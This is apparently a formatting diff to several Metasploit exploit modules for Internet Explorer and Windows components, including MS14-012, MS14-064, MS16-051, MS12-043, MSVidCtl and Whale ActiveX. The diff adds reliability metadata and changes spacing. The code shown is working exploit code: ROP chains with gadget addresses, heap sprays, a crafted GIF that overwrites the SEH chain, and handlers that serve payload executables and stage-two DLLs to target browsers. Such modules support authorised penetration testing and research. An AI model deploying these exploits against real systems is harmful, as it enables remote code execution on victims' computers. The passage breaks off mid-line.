'post/windows/manage/priv_migrate', - 'Retries' => false + 'Retries' => false }, - 'Targets' => - [ - [ 'Windows 7 SP1 / IE 10 / FP 12', { } ], + 'Targets' => [ + [ 'Windows 7 SP1 / IE 10 / FP 12', {} ], ], - 'Privileged' => false, - 'DisclosureDate' => '2014-02-13', - 'DefaultTarget' => 0)) - + 'Privileged' => false, + 'DisclosureDate' => '2014-02-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def stack_adjust @@ -73,8 +75,8 @@ def stack_adjust end def create_swf - path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" ) - fd = ::File.open( path, "rb" ) + path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf") + fd = ::File.open(path, "rb") swf = fd.read(fd.stat.size) fd.close return swf @@ -90,7 +92,7 @@ def on_request_uri(cli, request) if request.uri =~ /\.swf$/ print_status("Sending SWF...") - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Pragma' => 'no-cache' }) return end @@ -103,9 +105,8 @@ def on_request_exploit(cli, request, target_info) end def exploit_template(cli, target_info) - flash_payload = "" - padded_payload = get_payload(cli,target_info) + padded_payload = get_payload(cli, target_info) while padded_payload.length % 4 != 0 padded_payload += "\x00" diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index 1e8dd66c61e5d..56fcd6e4a3312 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -8,69 +8,72 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - def initialize(info={}) - super(update_info(info, - 'Name' => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", - 'Description' => %q{ - This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw - was most likely introduced in 2013, therefore only certain builds of MSHTML are - affected. In our testing with IE9, these vulnerable builds appear to be between - 9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between - August 2013, when it was introduced, until the fix issued in early March 2014. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw + was most likely introduced in 2013, therefore only certain builds of MSHTML are + affected. In our testing with IE9, these vulnerable builds appear to be between + 9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between + August 2013, when it was introduced, until the fix issued in early March 2014. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jason Kratzer', # Original discovery - 'sinn3r' # Port + 'sinn3r' # Port ], - 'References' => - [ + 'References' => [ [ 'CVE', '2014-0307' ], [ 'MSB', 'MS14-012' ] ], - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script/i, + 'Platform' => 'win', + 'BrowserRequirements' => { + :source => /script/i, :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, - :office => "2010", - :ua_ver => '9.0', + :office => "2010", + :ua_ver => '9.0', :mshtml_build => lambda { |ver| ver.to_i.between?(16496, 16533) } # Covers MS13-Jul to MS14-Feb }, - 'Targets' => - [ + 'Targets' => [ [ 'Automatic', - { - # mov eax,dword ptr [edx+0C4h]; call eax - 'Pivot' => 0x0c0d1020 # ECX - } + { + # mov eax,dword ptr [edx+0C4h]; call eax + 'Pivot' => 0x0c0d1020 # ECX + } ] ], - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, - 'DefaultOptions' => - { - 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. + 'DefaultOptions' => { + 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'DisclosureDate' => '2014-03-11', # Vuln was found in 2013. Mar 11 = Patch tuesday - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2014-03-11', # Vuln was found in 2013. Mar 11 = Patch tuesday + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end # hxds.dll def get_payload setup = - [ - 0x51C3B376, # rop nop - 0x51C2046E, # pop edi; ret - 0x51BE4A41, # xchg eax, esp; ret - ].pack("V*") + [ + 0x51C3B376, # rop nop + 0x51C2046E, # pop edi; ret + 0x51BE4A41, # xchg eax, esp; ret + ].pack("V*") # rop nops 45.times { setup << [0x51C3B376].pack('V*') } @@ -80,7 +83,7 @@ def get_payload 0x51BD28D4 # mov eax, [ecx], call [eax+8] ].pack('V*') - p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup}) + p = generate_rop_payload('hxds', payload.encoded, { 'target' => '2010', 'pivot' => setup }) Rex::Text.to_unescape(p) end diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 26e80a551bc35..c8ce2ee0ed239 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -11,21 +10,22 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Powershell - def initialize(info={}) - super(update_info(info, - 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", - 'Description' => %q{ - This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. - The vulnerability is known to affect Internet Explorer 3.0 until version 11 within - Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will - only target Windows XP and Windows 7 box due to the Powershell limitation. - - Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other - newer Windows systems, the exploit will try using Powershell instead. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", + 'Description' => %q{ + This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. + The vulnerability is known to affect Internet Explorer 3.0 until version 11 within + Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will + only target Windows XP and Windows 7 box due to the Powershell limitation. + + Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other + newer Windows systems, the exploit will try using Powershell instead. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Robert Freeman', # IBM X-Force 'yuange', # twitter.com/yuange75 'Rik van Duijn', # twitter.com/rikvduijn @@ -34,8 +34,7 @@ def initialize(info={}) 'b33f', # @FuzzySec 'sinn3r' ], - 'References' => - [ + 'References' => [ [ 'CVE', '2014-6332' ], [ 'MSB', 'MS14-064' ], [ 'OSVDB', '114533' ], @@ -44,9 +43,8 @@ def initialize(info={}) [ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ], [ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ] ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP', { @@ -55,36 +53,41 @@ def initialize(info={}) ], [ 'Windows 7', - { - 'os_name' => OperatingSystems::Match::WINDOWS_7 - } + { + 'os_name' => OperatingSystems::Match::WINDOWS_7 + } ] ], - 'BrowserRequirements' => - { - :source => /script|headers/i, + 'BrowserRequirements' => { + :source => /script|headers/i, :ua_name => HttpClients::IE, - :arch => ARCH_X86, - :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } + :arch => ARCH_X86, + :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'HTTP::compression' => 'gzip', 'Powershell::wrap_double_quotes' => false }, - 'Payload' => - { - 'BadChars' => "\x00" + 'Payload' => { + 'BadChars' => "\x00" }, - 'Privileged' => false, - 'DisclosureDate' => '2014-11-13', - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), - OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false]) - ]) + 'Privileged' => false, + 'DisclosureDate' => '2014-11-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options( + [ + OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), + OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false]) + ] + ) end def vbs_prepare() @@ -269,12 +272,11 @@ def vbs_prepare() end function | - end def vbs_vector(prep) - vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs" - gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif" + vbs_name = "#{Rex::Text.rand_text_alpha(rand(16) + 4)}.vbs" + gif_name = "#{Rex::Text.rand_text_alpha(rand(5) + 3)}.gif" payload_src = "#{gif_name}" @@ -323,7 +325,7 @@ def powershell_vector(prep) # Powershell was the first technique demonstrated publicly. # On some Windows setups such as Windows 7 without a service pack, this works quite well. # But other Windows setups you will get a prompt. - payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) + payl = cmd_psh_payload(payload.encoded, "x86", { :remove_comspec => true }) payl.slice! "powershell.exe " %Q| @@ -366,7 +368,7 @@ def on_request_exploit(cli, request, target_info) when /\.gif/ if get_target.name =~ OperatingSystems::Match::WINDOWS_XP p = regenerate_payload(cli) - data = generate_payload_exe({:code => p.encoded}) + data = generate_payload_exe({ :code => p.encoded }) # The default template uses \n, and wscript.exe isn't very happy about that. # It should be \r\n . @@ -385,4 +387,3 @@ def on_request_exploit(cli, request, target_info) end end end - diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb index 245de27c46320..f5cb8974c219e 100644 --- a/modules/exploits/windows/browser/ms16_051_vbscript.rb +++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb @@ -9,43 +9,50 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE - def initialize(info={}) - super(update_info(info, - 'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption", - 'Description' => %q{ - This module exploits the memory corruption vulnerability (CVE-2016-0189) - present in the VBScript engine of Internet Explorer 11. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Theori', # Original RE research and exploitation - 'William Webb ' # Metasploit module + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption", + 'Description' => %q{ + This module exploits the memory corruption vulnerability (CVE-2016-0189) + present in the VBScript engine of Internet Explorer 11. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Theori', # Original RE research and exploitation + 'William Webb ' # Metasploit module ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], - [ 'Windows 10 with IE 11', { } ] + [ 'Windows 10 with IE 11', {} ] ], - 'References' => - [ + 'References' => [ [ 'CVE', '2016-0189' ], [ 'MSB', 'MS16-051' ] ], - 'Arch' => ARCH_X64, - 'DisclosureDate' => '2016-05-10', - 'DefaultTarget' => 0)) + 'Arch' => ARCH_X64, + 'DisclosureDate' => '2016-05-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def setup # @stage2html = Rex::Text.rand_text_alphanum(6) - @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri - @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri - @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html - @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" - @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" - File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read } - File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read } + @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri + @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri + @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" + @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" + File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll"), "rb") { |f| @stage2dll = f.read } + File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll"), "rb") { |f| @localserver = f.read } super end @@ -308,13 +315,12 @@ def exploit_html(req_uri) - EOF + EOF template end def stage2_html(req_uri) - template = <<-EOF @@ -445,35 +451,35 @@ def stage2_html(req_uri) - EOF - template + EOF + template end def on_request_uri(cli, request) # used for some debugging stuff ies = @ieshell - ls = @localsrv - pm = @pm_escape_html + ls = @localsrv + pm = @pm_escape_html print_status("Received request: #{request.uri}") - if request.uri =~ /.*#{ies}.*$/ - print_status("Sending stage two DLL ...") - send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) - elsif request.uri =~ /.*#{ls}.*$/ - print_status("Sending local server DLL ...") - send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) - elsif request.uri =~ /.*#{pm}.*$/ - rq = "#{get_resource.chomp('/')}" - gm = stage2_html(rq) - send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) - elsif request.uri =~ /.*#{@payload_uri}$/ - return if ((payload = regenerate_payload(cli)) == nil) - print_status("Sending payload ...") - send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) - else - print_status("Sending main page ..") - send_response(cli, exploit_html(request.uri)) - end + if request.uri =~ /.*#{ies}.*$/ + print_status("Sending stage two DLL ...") + send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{ls}.*$/ + print_status("Sending local server DLL ...") + send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{pm}.*$/ + rq = "#{get_resource.chomp('/')}" + gm = stage2_html(rq) + send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{@payload_uri}$/ + return if ((payload = regenerate_payload(cli)) == nil) + + print_status("Sending payload ...") + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) + else + print_status("Sending main page ..") + send_response(cli, exploit_html(request.uri)) + end end end - diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb index 93919b67653ad..41400a5fcf24d 100644 --- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb +++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb @@ -26,48 +26,54 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption', + 'Description' => %q{ This module exploits a memory corruption within the MSVidCtl component of Microsoft - DirectShow (BDATuner.MPEG2TuneRequest). - By loading a specially crafted GIF file, an attacker can overrun a buffer and - execute arbitrary code. - - ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Trancer ' ], - 'References' => - [ + DirectShow (BDATuner.MPEG2TuneRequest). + By loading a specially crafted GIF file, an attacker can overrun a buffer and + execute arbitrary code. + + ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Trancer ' ], + 'References' => [ [ 'CVE', '2008-0015' ], [ 'OSVDB', '55651' ], [ 'BID', '35558' ], [ 'MSB', 'MS09-032' ], [ 'MSB', 'MS09-037' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2009-07-05', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-07-05', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_advanced_options( [ OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]), - ]) + ] + ) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end @@ -76,16 +82,16 @@ def get_srvhost # If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to # specify, so we will not force source_address() return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0' + Rex::Socket.source_address(cli.peerhost) end def on_request_uri(cli, request) - if (request.uri.match(/\.gif$/i)) print_status("Sending GIF") - gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\xFF\xFF\xFF\xFF" # End of SEH chain @@ -175,25 +181,25 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape([target.ret].pack('V')) + nops = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x40000 - fillto = 500 + fillto = 500 # Randomize the javascript variable names - msvidctl = rand_text_alpha(rand(100) + 1) - div = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) + msvidctl = rand_text_alpha(rand(100) + 1) + div = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) host = get_srvhost + ":" + (datastore["SRVPORT"].to_s) gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}" - if ("/" == get_resource[-1,1]) + if ("/" == get_resource[-1, 1]) gif_uri << get_resource[0, get_resource.length - 1] else gif_uri << get_resource diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb index 24a3fd928009b..6c48e6c633578 100644 --- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb +++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application - Gateway Whale Client. When sending an overly long string to CheckForUpdates() - method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute - arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Gateway Whale Client. When sending an overly long string to CheckForUpdates() + method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute + arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-2238' ], [ 'OSVDB', '53933'], [ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], - 'DisclosureDate' => '2009-04-15', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-04-15', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index ca16486c1a77a..a972919d6c582 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -10,34 +10,34 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "6.0", - :ua_maxver => "9.0", + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", :javascript => true, - :os_name => OperatingSystems::Match::WINDOWS, - :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", - :method => "definition", - :rank => GoodRanking + :os_name => OperatingSystems::Match::WINDOWS, + :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", + :method => "definition", + :rank => GoodRanking }) - def initialize(info={}) - super(update_info(info, - 'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", + 'Description' => %q{ This module exploits a memory corruption flaw in Microsoft XML Core Services - when trying to access an uninitialized Node with the getDefinition API, which - may corrupt memory allowing remote code execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + when trying to access an uninitialized Node with the getDefinition API, which + may corrupt memory allowing remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'inking26', # Reliable exploitation 'binjo', # Metasploit module - 'sinn3r', # Metasploit module + 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-1889' ], [ 'BID', '53934' ], [ 'OSVDB', '82873'], @@ -46,19 +46,16 @@ def initialize(info={}) [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ], [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ] ], - 'Payload' => - { + 'Payload' => { 'BadChars' => "\x00", - 'Space' => 1024 + 'Space' => 1024 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # msxml3.dll 8.90.1101.0 [ 'Automatic', {} ], [ @@ -118,32 +115,40 @@ def initialize(info={}) } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-06-12', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-06-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ - return targets[1] #IE 6 on Windows XP SP3 + return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ - return targets[2] #IE 7 on Windows XP SP3 + return targets[2] # IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ - return targets[2] #IE 7 on Windows Vista SP2 + return targets[2] # IE 7 on Windows Vista SP2 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ - return targets[3] #IE 8 on Windows XP SP3 + return targets[3] # IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ - return targets[5] #IE 8 on Windows 7 SP1/Vista SP2 + return targets[5] # IE 8 on Windows 7 SP1/Vista SP2 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ - return targets[6] #IE 9 on Windows 7 SP1 + return targets[6] # IE 9 on Windows 7 SP1 else return nil end @@ -151,19 +156,19 @@ def get_target(agent) def ret(t) case t['Rop'] - when :msvcrt - return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll - when :jre - return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll + when :msvcrt + return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll + when :jre + return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll end end def popret(t) case t['Rop'] - when :msvcrt - return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll - when :jre - return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll + when :msvcrt + return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll + when :jre + return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll end end @@ -181,13 +186,13 @@ def get_rop_chain(t) # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust}) + when :msvcrt + print_status("Using msvcrt ROP") + rop = generate_rop_payload('msvcrt', '', { 'target' => 'xp', 'pivot' => adjust }) - else - print_status("Using JRE ROP") - rop = generate_rop_payload('java','',{'pivot'=>adjust}) + else + print_status("Using JRE ROP") + rop = generate_rop_payload('java', '', { 'pivot' => adjust }) end return rop @@ -219,10 +224,8 @@ def get_easy_spray(t, js_code, js_nops) JS return spray - end - def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) randnop = rand_text_alpha(rand(100) + 1) randnop2 = rand_text_alpha(rand(100) + 1) @@ -257,14 +260,12 @@ def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) JS return spray - end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_rop, js_code, js_90_nops) - spray = <<-JS function randomblock(blocksize) @@ -327,10 +328,9 @@ def on_request_uri(cli, request) p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_nops = 